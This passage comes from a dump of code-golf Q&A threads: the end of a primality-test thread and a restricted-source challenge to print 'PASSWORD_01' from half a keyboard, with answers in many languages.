(initially n - 1) from the first stack.\n [()] Yield -1.\n ) Push k - 1 to the first stack.\n () Yield 1.\n <> Switch to the second stack.\n ) Push k - 1 + 1 = k on the second stack.\n > Yield 0.\n ) Push n + 0 = n on the second stack.\n <> Switch to the first stack.\n ) Push n on the first stack.\n <> Switch to the second stack, which contains n and k.\n The first stack contains n and k - 1, so it is ready for\n the next iteration.\n {({}[()]<({}[()]<({}())>)>{(<()>)}{})}{}{} Compute and push n % k.\n } Stop if n % k = 0.\n} Ditto.\n```\n**n % k** is computed using the 42-byte modulus algorithm from [my divisibility test answer](https://codegolf.stackexchange.com/a/95210/12012).\nFinally, we interpret the results to determine **n**'s primality.\n```\n<> Switch to the first stack, which contains n and k - 1, where k is the\n largest integer that is smaller than n and divides n evenly.\n If (and only if) n > 1 is prime, k = 1 and (thus) k - 1 = 0.\n{ While the top of the first stack is non-zero:\n {} Pop it.\n} This pops n if n is prime, n and k - 1 if n is composite.\n(\n [] Yield the height h of the stack. h = 1 iff n is prime).\n {} Pop 0.\n) Push h + 0 = h.\n```\n[Answer]\n# TI-BASIC, 12 bytes\n```\n2=sum(not(fPart(Ans/randIntNoRep(1,Ans\n```\nPretty straightforward. `randIntNoRep(` gives a random permutation of all integers from 1 to `Ans`.\nThis bends the rules a little; because lists in TI-BASIC are limited to 999 elements I interpreted\n> \n> assume that the input can be stored in your data type\n> \n> \n> \nas meaning that all datatypes can be assumed to accommodate the input. OP agrees with this interpretation.\nA **17-byte solution** which actually works up to 10^12 or so:\n```\n2=Σ(not(fPart(Ans/A)),A,1,Ans\n```\n[Answer]\n# TI-BASIC, 24 bytes\nNote that TI-Basic programs use a token system, so counting characters does not return the actual byte value of the program.\nUpvote [Thomas Kwa's answer](https://codegolf.stackexchange.com/a/57870/38511), it is superior.\n```\n:Prompt N\n:2\n:While N≠1 and fPart(N/Ans\n:Ans+1\n:End\n:N=Ans\n```\nSample:\n```\nN=?1009\n 1\nN=?17\n 1\nN=?1008\n 0\nN=?16\n 0\n```\nNow returns `0` if not a prime, or `1` if it is.\n[Answer]\n## C++ template metaprogramming. ~~166~~ ~~131~~ 119 bytes.\nCode compiles if the constant is a prime, and does not compile if composite or 1.\n```\ntemplatestruct t{enum{x=t::x+!(a%b)};};\ntemplatestruct t{enum{x};};\nint _[t<1>::x==2];\n```\n(all newlines, except final one, are eliminated in \"real\" version).\nI figure \"failure to compile\" is a falsey return value for a metaprogramming language. Note that it does not link (so if you feed it a prime, you'll get linking errors) as a full C++ program.\nThe value to test is the integer on the last \"line\".\n[live example](http://coliru.stacked-crooked.com/a/d1073b477078ddeb).\n[Answer]\n# Ruby, 15 + 8 = 23 bytes\n```\np$_.to_i.prime?\n```\nSample run:\n```\nbash-4.3$ ruby -rprime -ne 'p$_.to_i.prime?' <<< 2015\nfalse\n```\n[Answer]\n# PARI/GP, 21 bytes\n```\nprint(isprime(input))\n```\nWorks for ridiculously big inputs, because this kind of thing is what PARI/GP is made for.\n[Answer]\n# Python 3, 59 bytes\nNow uses `input()` instead of command line arguments. Thanks to @Beta Decay\n```\nn=int(input())\nprint([i for i in range(1,n)if n%i==0]==[1])\n```\n[Answer]\n# C, 67 bytes\n```\ni,n;main(p){for(scanf(\"%d\",&i),n=i;--i;p=p*i*i%n);putchar(48+p%n);}\n```\nPrints ~~`!1` (a falsey value, by [Peter Taylor's definition](http://meta.codegolf.stackexchange.com/questions/2190/interpretation-of-truthy-falsey/2194#2194))~~ `0` if `(n-1)!^2 == 0 (mod n)`, and `1` otherwise.\n**EDIT**: After some discussion in chat, `puts(\"!1\"+p%n)` seems to be considered a bit cheaty, so I've replaced it. The result is one byte longer.\n**EDIT**: Fixed for big inputs.\n## Shorter solutions\n**56 bytes**: As recommended in the comments by pawel.boczarski, I could take input in unary by reading the number of command line arguments:\n```\np=1,n;main(i){for(n=--i;--i;p=p*i*i%n);putchar(48+p%n);}\n```\ninvoking the program like\n```\n$ ./a.out 1 1 1 1 1\n1 <-- as 5 is prime\n```\n**51 bytes**: If you allow \"output\" by means of return codes:\n```\np=1,n;main(i){for(n=--i;--i;p=p*i*i%n);return p%n;}\n```\n[Answer]\n# Haskell, 54 bytes\n```\nimport Data.Numbers.Primes\nmain=readLn>>=print.isPrime\n```\nNothing much to explain.\n[Answer]\n## Python 2, 44\n```\nP=n=1\nexec\"P*=n*n;n+=1;\"*~-input()\nprint P%n\n```\nLike [Sp3000's Python answer](https://codegolf.stackexchange.com/a/57681/20260), but avoids storing the input by counting the variable `n` up from `1` to the input value.\n[Answer]\n# Snails, 122\nInput should be given in unary. The digits may be any mix of characters except newlines.\n```\n^\n..~|!(.2+~).!~!{{t.l=.r=.}+!{t.!.!~!{{r!~u~`+(d!~!.r~)+d~,.r.=.(l!~u~)+(d!~l~)+d~,.l.},l=(.!.)(r!~u~)+(d!~!.r~)+d~,.r.!.\n```\nIn this 2D pattern matching language, the program state consists solely of the current grid location, the set of cells which have been matched, and the position in the pattern code. It's also illegal to travel onto a matched square. It's tricky, but possible to store and retrieve information. The restriction against traveling onto a matched cell can be overcome by backtracking, teleporting (`t`) and assertions (`=`, `!`) which leave the grid unmodified after completing.\n[![Factorization of 25](https://i.stack.imgur.com/yiSVR.png)](https://i.stack.imgur.com/yiSVR.png)\nThe factorization for an odd composite number begins by marking out some set of mutually non-adjacent cells (blue in diagram). Then, from each yellow cell, the program verifies that there are an equal number of non-blue cells on either side of the adjacent blue one by shuttling back and forth between the two sides. The diagram shows this pattern for one of the four yellow cells which must be checked.\nAnnotated code:\n```\n^ Match only at the first character\n..~ | Special case to return true for n=2\n!(.2 + ~) Fail for even numbers\n. !~ Match 1st character and fail for n=1\n!{ If the bracketed pattern matches, it's composite.\n (t. l=. r=. =(.,~) )+ Teleport to 1 or more chars and match them (blue in graphic)\n Only teleport to ones that have an unmatched char on each side.\n The =(.,~) is removed in the golfed code. It forces the\n teleports to proceed from left to right, reducing the\n time from factorial to exponential.\n !{ If bracketed pattern matches, factorization has failed.\n t . !. !~ Teleport to a square to the left of a blue square (yellow in diagram)\n !{ Bracketed pattern verifies equal number of spaces to\n the left or right of a blue square.\n { \n (r!~ u~)+ Up...\n (d!~!. r~)+ Right...\n d~, Down...\n . r . =. Move 1 to the right, and check that we are not on the edge;\n otherwise d~, can fall off next iteration and create and infinite loop\n (l!~ u~)+ Up...\n (d!~ l~)+ Left...\n d ~, Down...\n . l . Left 1\n } , Repeat 0 or more times\n l =(. !.) Check for exactly 1 unused char to the left\n (r!~ u~)+ Up...\n (d!~!. r~)+ Right...\n d ~, Down...\n . r . !.\n }\n }\n}\n```\n[Answer]\n# APL, ~~40~~ 13 bytes\n```\n2=+/0=x|⍨⍳x←⎕\n```\nTrial division with the same algorithm as [my R answer](https://codegolf.stackexchange.com/a/57675/20469). We assign `x` to the input from STDIN (`⎕`) and get the remainder for `x` divided by each integer from 1 to `x`. Each remainder is compared against 0, which gives us a vector of ones and zeros indicating which integers divide `x`. This is summed using `+/` to get the number of divisors. If this number is exactly 2, this means the only divisors are 1 and `x`, and thus `x` is prime.\n]"}}},{"rowIdx":30,"cells":{"text":{"kind":"string","value":"[Question]\n [\nYou have been hired for your tech knowledge as a Secret Agent's sidekick to ensure that the good guy can get his job done and the world can be saved.\nThis is your last mission before retiring with a high paycheck and the gratitude of the whole world. But before you have to disarm the Evil Genius' Big Overly Massive BOMB (seems that the evil genius is a smart ass who likes recursive acronyms). Anyways you and your buddy are in the very core of the Evil Genius secret base, ready to disarm the BOMB that could wipe the continent out. In your previous mission you managed to get the disarm code that to your astonishment is just \"PASSWORD\\_01\". You connect your keyboard to the BOMB but when you are ready to go, the Evil Genius' henchmen enter in with a barrage of bullets. Unfortunately one of these bullets impacts on your keyboard. \"Finish the job while I distract those d\\*ckheads!\" says your buddy and then begins to fire his gun. But how could you finish the job with only half a keyboard?\n**SPECS**\n1. Write a program that outputs in any way you want the string `PASSWORD_01` (uppercase).\n2. Since your keyboard has been hit by a bullet, you can only use these keys:\n`1` `2` `3` `4` `5`\n`Q` `W` `E` `R` `T`\n`A` `S` `D` `F` `G`\n`<` `>` `Z` `X` `C`\n`Ctrl` `Shift` `Tab` `Space`\nUsing the `Shift` key, your keyboard allows you to use these characters:\n`!` `\"` `¬∑` `$` `%`\n3. You don't have any other hardware than the keyboard and the screen (a mouse for example), nor a file with the password written in your computer.\n4. You don't have an Internet connection.\n5. You can assume you have the interpreter shell / source editor opened before the bullets came in. Sadly you have not written anything in it before the keyboard was hit.\n6. You don't have a virtual keyboard. In fact the BOMB has a TOO\\_FUNNY detector that will make it explode if you try to use the [Standard loopholes](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default).\n7. Since your buddy is waiting for you to finish soon to escape off the Secret Base, you will have to write the smallest code possible (so it's [restricted-source](/questions/tagged/restricted-source \"show questions tagged 'restricted-source'\") and [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\")!).\nGood luck because the count down has begun!\n**HELP MODE:** Also a `KEY` (only one Key you want from the keyboard, but not the Shift + Key or any other combination) has miraculously survived too. E.g.: You can use `=`, or `0` or `/`… This extra key cannot be any of the letters in `PASSWORD_01` (so you cannot add `P` or `O`). Name that key in your answer. **You have a penalization of 10 characters for use of this key** regardless of how many times you use the key.\n \n[Answer]\n## bash, vim and dc (343)\nI'm sitting at a bash prompt which has been configured by the Evil Genius, and of course he has `VISUAL=vim` in the default environment. Using the default bash binding for `edit-and-execute-command` (`C-x C-e`) bash invokes `$VISUAL` and will execute its buffer contents on exit (`ZZ`). I type in the following sequence (Note: `kbd`-mode are commands issued in normal mode and control sequences):\n1. `C-x``C-e`\n2. `a`cat<<<45`C-c``4``C-a``a`a\nNow the vim buffer contains `cat<<<49a`. Continuing ...\n3. 45`C-c``3``C-a``a`a\n4. 54`C-c``41``C-a``a`a\n5. 55`C-c``13``C-a``a`a\nNow the vim buffer contains `cat<<<49a48a95a68a`. Continuing ...\n6. 51`C-c``31``C-a``a`a\n7. 55`C-c``24``C-a``a`a\n8. 44`C-c``43``C-a``a`a\n9. 42`C-c``41``C-a``a`a\n10. 42`C-c``41``C-a``a`a\n11. 54`C-c``11``C-a``a`a\n12. 55`C-c``25``C-a``a`a>s\nNow the vim buffer contains `cat<<<49a48a95a68a82a79a87a83a83a65a80a>s`\nGet out of insert mode, save and exit\n13. `C-c``Z``Z`\nThe `s` file now contains a `dc` script that generates the desired string on the stack, now we need to add print commands.\n14. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\nRepeat the above command 9 times.\n15. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n16. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n17. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n18. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n19. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n20. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n21. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n22. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n23. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z`\n24. `C-x``C-e``a`cat<<< f >>s\nExecute the dc script:\n25. `C-x``C-e``a`dc s`C-c``Z``Z`\nOutput:\n```\nPASSWORD_01\n```\nContents of the `s` file:\n```\n49a48a95a68a82a79a87a83a83a65a80a\nP\nP\nP\nP\nP\nP\nP\nP\nP\nP\nf\n```\n[Answer]\n## Ruby, 57 + 10 (`*`) = 67\n```\n$*<<4*4*5<<214%135<<44%25*5<<1%1\n$><<\"%cASSW%cRD%c%d1\"%$*\n```\nThis answer uses `*` and `%` to build the ASCII values of the missing characters (and 0 as Fixnum) and pushes them into `$*` (`ARGV`). This array is then used in combination with a format string to generate the correct password, which is printed with `$><<` (`$>` is stdout).\n## Ruby, 62 + 10 (`.`) = 72, no linebreak\n```\n$>.<< \"%cASSW%cRD%c%d1\".% %w%%<<311%231<<214%135<<321%113<<1%1\n```\nRoughly the same principle as the above version, except that here the array is built from an empty array literal (`%w%%`). Some fiddling with `.` is needed to get the desired operator precedence.\n[Answer]\n# CJam - 24 + 10 (`(`) = 34\n```\n\"Q\"c(\"ASSW\"1$(\"aRD\"(((T1\n```\n## No additional key - 39\n```\n211 131%c\"ASSW\"211 132%c\"RD\"321 113%cT1\n```\nTry it at \n[Answer]\n# Whitespace (148 + 10 = 158)\n`Enter` key needs to be used here.\n```\nSS+1010000L // Push code of P\nTLSS // Output character\nSS+1000001L // Push code of A\nTLSS // Output character\nSS+1010011L // Push code of S\nSLS // Duplicate top stack\nTLSS\nTLSS\nSS+1010111L // Push code of W\nTLSS\nSS+1001111L // Push code of O\nTLSS\nSS+1010010L // Push code of R\nTLSS\nSS+1000100L // Push code of D\nTLSS\nSS+1011111L // Push code of _\nTLSS\nSS+0L // Push 0\nTLST // Output number\nSS+1L // Push 1\nTLST // Output number\nLLL // End program\n```\nMy notation's explanation:\n* `S`, `+`, `0` are spaces.\n* `T`, `1` are tabs.\n* `L` is new line.\n* `//` starts comment.\nEach line is a command in whitespace language.\n[**Demo**](http://ideone.com/ZFXeAT)\n[Answer]\n# Python (~~2200~~ 395 + 10)\n```\nexec\"\"\"exec\"exec\"+\"%ca\"%34+\"%c52+53\"\"\"+\"%c55+55\"%44+\"%c34\"%44+\"%c45+35\"%44+\"%c\"%44+\"\"\"34%%cexec\"%\"\"\"+\"%c\"%54+\"\"\"1+\"%c\"%34+\"%%5%c+\"%5\"\"\"+\"%c\"%55+\"\"\"+\"%c\"%34+\"%c\"\"\"+\"%c\"%112+\"\"\"r%%c%%ct%%c%%cASSW\"+\"%c%%34+\"%34+\"%c%%cRD\"%34+\"%c%%\"\"\"+\"%c\"%55+\"\"\"\"%34+\"%c+\"%5\"\"\"+\"%c\"%55+\"\"\"+\"%c%%c\"%34+\"%c%%\"%34+\"%c5+\"%5\"\"\"+\"%c\"%55+\"\"\"+\"%c\"%34+\"%c1%%c\"+\"%c%%4\"%34+\"%c+\"%5\"\"\"+\"%c\"%54+\"\"\"+\"%c\"%34+\"%c%%a\"+\"%c%%34\"%34\"\"\"\n```\nI needed the `+` character (costing +10), which can be obtained from the numpad (or on certain key layouts).\nYeah, the BOMB probably went off while I was typing that.\nThe basic approach is to construct ever larger character sets by using `exec` and `\"%c\"%(number)`. There are four `exec`s nested inside each other. Gradually, my digit set progresses up from\n1. 12345\n2. 1234567 (6 = ASCII 54, 7 = ASCII 55)\n3. 123456789 (8 = ASCII 56, 9 = ASCII 57)\n4. 0x0123456789abcdef\nso that in the final iteration it is possible to express any character (so that the innermost version can actually run any program at all).\nAround 50% of the program is just quote characters (`\"%c\"%34` is a double quote), because the nested nature of the `exec` statements demands \"escaping\" quote characters aggressively.\n[Answer]\n# [Insomnia](http://esolangs.org/wiki/Insomnia) ~~39~~ ~~35~~ ~~31~~ 29\nThis language comes up when I was looking around for a language that encodes its instructions with single ASCII character. The language actually operates on the decimal ASCII code of the character, so it is still quite flexible with half of the keyboard destroyed.\nDrop it down further to 29 characters, which is possible after reducing memory usage and increases the search space:\n```\nFdFzt%dFtt Gtreeet t%4s\n```\nI decided to run my tweaked up program on the full set of allowed characters, and cut the solution down to 31 characters:\n```\nFdFGt dtreeC>tt FFdx\"eCeezdC>CefCdddzCzzfCqred>r4s\n```\nOld version constructed by hand. I remember staying up till morning to do this.\n```\nFddx>\"eCeezdC>Cef>dx\"dCezeeedeCrqeeC%4s\n```\nHere is the [**Insomnia interpreter**](https://codegolf.stackexchange.com/a/41868/) for testing.\n[Answer]\n## Vim + PHP on Some Window Managers\n65 keys in 44 strokes, with a 10-point penalty for using `=`.\n```\naEACEz=5$xxxxaASSWRDz=1\n$a$aA==wxx$r1<^X>a1\n```\nA breakdown:\n* `Alt+Tab` appears to work like `Esc` with Vim, or perhaps with this terminal emulator. Thanks for teaching me something new!\n* `aEACE`: Enter append mode and insert ‚ÄúEACE‚Äù. Exit.\n* `z=5`: Perform spelling correction. Select 5, ‚ÄúPEACE‚Äù. Exit. (`Esc` seems to work as `Enter` here!)\n* `$xxxxaASSWRD`: Go to the end of the line. Delete 4 characters and add `ASSWRD`, resulting in `PASSWRD`. Back to normal mode. (No, `4x` won‚Äôt work.)\n* `z=1`: `PASSWORD` is *probably* going to be the first correction for this. Select it.\n* `$a$aA`: Go to the end of the line, and add a `$aA`. Back to normal mode.\n* `==`: Format this line of PHP nicely, changing the camelCase `$aA` to `$a_a`. This also moves the cursor back to the start of the line.\n* `wxx`: Go forward a word; the cursor is now before `$`. Delete two characters ‚Äì the `$` and the `a` ‚Äì to make `PASSWORD_a`.\n* `$r1`: Go to the end of the line and replace the current character (i.e. `a`) with `1`, resulting in `PASSWORD_1`.\n* `^X`: Decrement the integer under the cursor, resulting in `PASSWORD_0`.\n* `a1`: Finally, append `1`, for `PASSWORD_01`!\n[Answer]\n# Python 2, 75889 bytes\n**No extra character!**\nUnfortunately, the code is super long. So instead, here's the code to generate the program:\n```\nx=[2**n for n in xrange(16)]\ny=-5\nprint('exec\"\"\"exec'+x[7]*'%'+'c\"\"'+x[6]*'%'+'cr'+x[-2]*'%'+'c'+x[-1]*'%'+'ct'+x[8]*'%'+'c'+x[-4]*'%'+'cASSW'+x[-5]*'%'+'cRD'+x[-3]*'%'+'c'+x[0]*'%'+'s1'+x[10]*'%'+'c '+x[9]*'%'+'c\"\"'+x[y]*'%'+x[1]*'%'+'s'+x[y]*'%'+x[2]*'%'+'s'+x[y]*'%'+x[3]*'%'+'s'+x[y]*'%'+x[4]*'%'+'s'+x[y]*'%'+x[5]*'%'+'s\"\"\"'+'%`1>>1`%`2531>>5`%`321>>2`%`1521>>4`%`211>>1`%`221>>1`%112%34%34%34%34')\n```\n[**Try it online**](https://tio.run/nexus/python2#rZLBa8IwFMbP61/x0fLoVin0JY1tBwoDd1bqYQcRHcENL51UD/Wvdy@1GQoelzTN9/veS3ghiQ7tvjmFi7fl8mNezzYZh0F09cg6k8jWM5JmaWiWQyozKiqqDOVlEO26nQ3D0E0kgmzrsu3J/fot3A6WjkwWfcLRd1kFwpanU97SVhktyojSSoQSwcap3AXZZ6mrYFak87/v0k1WKkkafP20aLBv0LWfzffumccv6@A8SU3QHyu@qTYedatincQUj2LxHI49to5S5bEn9nRyWN7Fck/uxL1jvFPPeta3@dkAR3bEHi0cVvc1na8oaX7Rnaseuvqhmz90faXuPmSif7mQ@BLJg3qvX5GhqFBmqAw4k8EZDgiHDsyBBbAB9kATRE8ZGFCAllguwwBjFChRyXKkBmmOVCNVSHl4q5DyE62C4PIL)\n(to run the code, change the outer `print` into an `exec`. Or, generate the program, then paste and run. Or copy from the hastebin linked below.)\n### Explanation:\nThe goal is to execute:\n```\nprint\"PASSWORD_01\"\n```\nTo avoid using `()+` chars, we have to use multiple string format operations chained together. This means that each step added effectively ***doubles*** the number of `%` characters needed for each previous step:\n```\nprint\"%cASSW%%cRD%%%%c%%%%%%%%c1\"%80%79%95%48\n```\nThis is not enough though, because some of the numbers required cannot be created, and neither can we create `print`. So we add a level of abstraction with `exec` for `print`ing, and a level for the ASCII code points we cannot create to format with. The following is essentially my answer, but with each string of `%` reduced to a single one (note that the `%s%s%s%s%s` is not an accurate representation, failing to account for the literal `%`'s required before each):\n```\nexec\"\"\"exec%c\"\"%cr%c%ct%c%cASSW%cRD%c%s1%c %c\"\"%s%s%s%s%s\"\"\" % `1>>1`%`2531>>5`%`321>>2`%`1521>>4`%`211>>1`%`221>>1`%112%34%34%34%34\n```\n**The First Step: Outermost `exec`:**\n```\nexec\"\"\" ... ASSW%cRD ... %s%s%s%s%s\"\"\" % `1>>1` % `2531>>5` % `321>>2` % `1521>>4` % `211>>1` % `221>>1`\n```\n1. `1>>1`: `0`, used for the `0` in `PASSWORD_01`\n2. `2531>>5`: `79`, used for inner exec to create `O`\n3. `321>>2`: `80`, used for inner exec to create `P`\n4. `1521>>4`: `95`, used for inner exec to create `_`\n5. `211>>1`: `105`, used for inner exec to create `i`\n6. `221>>1`: `110`, used for inner exec to create `n`\n**Second Step: Prepare Inner `exec`**\nAfter the above, the inner `exec` is something like this:\n```\nexec%c\"\"%cr%c%ct%c%cASSWORD%c01%c %c\"\"%79%80%95%105%110\n```\nExcept that you wouldn't quite get that. Still wtih the simplifications, you'd get this:\n```\nexec%c\"\"%cr%c%ct%c%cASSWORD%c01%c %c\"\"798095105110\n```\nThe literal `%`'s need to be included. So basically I had to add a bunch of them before each `%s` to end up with literal `%`'s left after all the formatting. `2**11` of them. Times five.\nThe rest of the outer `exec` string format operations are `%112%34%34%34%34`. The `112` is for `p`, and the others are quotation marks. After applying those, the result is something like this:\n```\nexec\"\"\"pr%c%ct\"%cASSW%cRD%c01\" \"\"\"%79%80%95%105%110\n```\nBut in reality it has a bunch more `%`. It's this:\n```\nexec\"\"\"pr%%%%%%%%c%%%%%%%%%%%%%%%%ct\"%%cASSW%cRD%%%%c01\" \"\"\"%79%80%95%105%110\n```\nThe final step is to simply run that, after which you get the necessary output.\n---\n**Full code here:** \n[Answer]\n# bash + vim (56)\nBorrowing the `Ctrl-X``Ctrl-E` bash trick from Thor's solution, here is how I would do it in bash+vim:\n`C-X``C-E` starts default editor (usually vim)\n`a` starts insert mode\n`.``space`\n`A``S``S``W`\n`C-V``x``4``f` inserts `O`\n`R``D`\n`C-V``x``5``f` inserts `_`\n`1`\n`C-3` is equivalent to `escape` (not just in vim, but anywhere in a terminal)\n`C-X` subtracts 1 from the `1` i just typed\n`a` insert mode again\n`1`\n`C-3`\nbuffer content is now `. ASSWORD_01`\n`<``<` unindent line (a no-op, since line is not indented) and move cursor to 1st column\n`a`\n`C-X` start word completion\n`C-V` complete with ex command\n`C-V` 9 more times selects the entry `Print`\n`C-3` back to normal mode\n`X``X``X``x``x` deletes `rint`\n`<`\n`<` back to column 1 \n`s` delete `.`, start insert mode\n`e`\n`c`\n`C-X`\n`C-V` ex command completion once again, entry `echo` already selected because of the `ec` i just typed\n`space`\n`C-3` buffer content now `echo PASSWORD_01`\n`Z`\n`Z` save buffer, close vim, bash executes file content, i.e. `echo PASSWORD_01`\nBy the way: `C-3` has many useful brethren: `C-J` is `Enter`, `C-I` is `Tab`, `C-H` is `Backspace`, `C-2` is `C-@` (i.e. a null-byte). And for emacs users it is nice to know that `Escape` followed by another key is equivalent to `Alt` + that key. So, even without `Escape` and `Alt` you can still type Meta-x like this: `C-3``x`\n[Answer]\n# Perl, (31+10 / 41+10 / 64+10)\n(`^` key used, 3 ways)\n```\nexec\"easswsrdcqw\"^\"5 < P and z => O\n xor al, 0x35\n xor [si+0x3c], ax\n xor [si+0x41], ax\n; Fix int 0x21 and ret\n push cx\n pop ax ; AX = 0xFF\n xor [si+0x31], ax\n xor [si+0x33], ax\n; Change <1 => _0\n inc cx ; CX = 0x100\n push cx\n pop ax ; AX = 0x100\n xor al, 0x63 ; AX = 0x163\n xor [si+0x44], ax\n; We're using DOS interrupt 0x21, function 0x09 to output the final string.\n; AH must equal 0x09 to select the function.\n; DS:DX must point to the $-terminated string we want to output.\n; Get DX to the correct value (0x13c)\n push cx\n pop ax ; AX = 0x100\n xor al, 0x3c ; AX = 0x13c\n push bx\n pop dx ; DX = 0\n; We use part of the Program Segment Prefix to temporarily store the value,\n; since MOVing or PUSHing AX is impossible.\n; The part in question is the second File Control Block, which we will not use anyway.\n and [bx+0x71], ax\n or [bx+0x71], ax\n xor dx, [bx+0x71] ; DX = 0x13c\n; NOPs to get int 0x21 and ret on high enough addresses\n inc bp\n inc bp\n inc bp\n inc bp\n inc bp\n; Set AH to the correct value. AL is set too, but is ignored by the DOS interrupt.\n push bx\n pop ax ; AX = 0\n xor ax, 0x0909 ; AX = 0x0909\n; What will become instructions int 0x21 and ret\n db 0x32, 0x21\n db 0x3c\n; Padding to have the password at an address we can refer to.\n times 60-($-$$) db '<'\n; Password\n pw db \"eASSWzRD<11$\"\n```\n[Answer]\n# oOo code (300)\n```\nQwerTaSdfGzxCqwertAsDfgZxCQwerTasDfgZxcQweRtaSDfgZxCqwertAsDFgZXcQWeRtaSdFGzxcQwERTasdfGzxc\nQwErtAsdFgzxcqWeRtaSdFGzxcQweRtaSDfGZxCqWErTAsDFgZXCqWerTasDfgZxcQweRtaSdfGzxCQwErTAsDFgZXC\nqWertAsDfgzxcQwERtASdFGzXcqWeRTasdFGzXcQWeRtAsDfgzxcQwERtASdFGzXCqWerTaSDfgzXcQWErTaSdFgZxc\nQwertaSdFgzXcQWertASdFgZXCq\n```\nEasy. (Linefeeds are optional, and just here to make the code \"more readable\")\nCode generator used:\n```\no=lambda b,c:\"\".join(i.upper()if j else i for i,j in zip(__import__('itertools').cycle(c),map(int,\"\".join((3-len(i))*'0'+i for i in(bin('><[]-+.,'.index(i))[2:]for i in b)))))\n```\nThe same code in a less silly encoding:\n```\nEeeeEeEeeEeeEeeeeeEeEeeEeEEeeeEeeEeeEeeEeeEeeEEeeEeEeeeeeEeEEeEEeEEeEeeEeEEeeeEeEEEeeeeEeee\nEeEeeEeeEeeeeeEeEeeEeEEeeeEeeEeeEEeEEeEeEEeEEeEEeEEEeEeeEeeEeeEeeEeeEeeEeeEeeEEeEeEEeEEeEEE\neEeeeEeEeeeeeEeEEeEEeEEeEeeEeEEeeeEEeEeEEeEeEeEeeeeeEeEEeEEeEEeEEeEeeEeEEeeeEeEEEeEeEeEeEee\nEeeeeeEeEeeEeEEeeeEEeEeEEEe\n```\n[Answer]\n# [brainfuck](https://github.com/TryItOnline/brainfuck), 400 + 10 (`+`) = 410 bytes\n```\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<.>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..++++.<<++++++++++++++.+++.>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<++++++++.>>>>++++++++++++++++++++++++++++++++++++++++++++++++.+.<\n```\n[Try it online!](https://tio.run/##SypKzMxLK03O/v9fm1Jgp01loGejZ0d1Q0Hm6kFMt0ETBmE76tioBzcbZCLJRuoBDfj/HwA \"brainfuck ‚Äì Try It Online\")\n[Answer]\n# [Poetic](https://mcaweb.matc.edu/winslojr/vicom128/final/tio/index.html), 319 bytes\n```\nwar restarts.a test.a craze.a few desecrated areas.a few deceased staff.a sad defeat.waters red.we start a retreat after a war.a carcass wasted.a war act started warfare.war gets screwed.crew defeated.targets set.war affects qatar.a red war creates regret.a war deterred far extra starred staff.we scatter.gee!a regress\n```\n[Try it online!](https://mcaweb.matc.edu/winslojr/vicom128/final/tio/index.html?PU9BEgMhCPsK/YB/SjV6LjBjp5/fRt3ZEySEBCbcnJHwjAJLtSrV8aNq57TGoHCyGZyIh64CIrXbu8hAE9mJLFNqD/m2Mmnb3CCY2lfXNRWe8BUFr4gQCkWUTRtqnjX5C3cFl8UPZlhU55R0lTtRSOozZW6pjmIV/iB3jh8rvbb067ihg@68Rp20FEoyftOx4/15b71RkVKVQb5w1iOu6432Bw)\nPoetic is an esolang I made in 2018 for a class project. It's basically brainfuck with word-lengths instead of symbols.\nIt was an interesting challenge to write a piece of text with certain word lengths without the right side of the keyboard (or many spaces or punctuation marks). I can only hope that it was worth it.\n[Answer]\n# ferNANDo, 179 + 10 = 189 bytes\n```\n2 1\n1 2 1 2 1 1 1 1\n1 2 1 1 1 1 1 2\n1 2 1 2 1 1 2 2\n1 2 1 2 1 1 2 2\n1 2 1 2 1 2 2 2\n1 2 1 1 2 2 2 2\n1 2 1 2 1 1 2 1\n1 2 1 1 1 2 1 1\n1 2 1 2 2 2 2 2\n1 1 2 2 1 1 1 1\n1 1 2 2 1 1 1 2\n```\n[Try it online!](http://fernando.tryitonline.net/#code=MiAxCjEgMiAxIDIgMSAxIDEgMQoxIDIgMSAxIDEgMSAxIDIKMSAyIDEgMiAxIDEgMiAyCjEgMiAxIDIgMSAxIDIgMgoxIDIgMSAyIDEgMiAyIDIKMSAyIDEgMSAyIDIgMiAyCjEgMiAxIDIgMSAxIDIgMQoxIDIgMSAxIDEgMiAxIDEKMSAyIDEgMiAyIDIgMiAyCjEgMSAyIDIgMSAxIDEgMQoxIDEgMiAyIDEgMSAxIDI&input=)\n`Enter` used. I'd use `0` and `1` to make the code more readable but I can't use `0`.\n[Answer]\n# JS-Forth, 103 bytes\nThe string will be returned on the stack as an array of characters.\n```\n12544 1 3 << >> 24 1 << 1521 4 >> 34 1 << 41 1 << 2531 5 >> 351 2 >> 332 2 >> 32 2 >> 131 1 >> 321 2 >>\n```\n[**Try it online**](https://repl.it/DjxY/6) - *Commented version*\n---\n### Explanation:\nI first found the list of [allowed words](https://repl.it/DkAH). Essentially, the only things I could use that would be useful are:\n* `12345` Numeric constants\n* `<<` Shift left\n* `>>` Shift right\n* `s>f` Push single to float stack\n* `f>d` Pop double from float stack\n* `fsqrt` Square root on float stack\nSo I could use numeric constants, bit-shift, and compute a square root using the following (`>>` replaces `drop`, shifting by `0` to remove the `0`):\n```\ns>f fsqrt f>d >>\n```\nFortunately, I found possible bit-shifts for every constant I needed to create that were shorter than using square roots. For the most part, I searched by simply printing each number squared, or a larger power of two if any of them contained a digit `6-0`. Then, I realized I could use loss of precision from `f>d` to find more possibilities. (I could add to the number, but still get the same integer square root.) A bit later, I started using bit-shifting to find some, and then all, of the constants. The greater the `>>` bit-shift, the more I could add to the 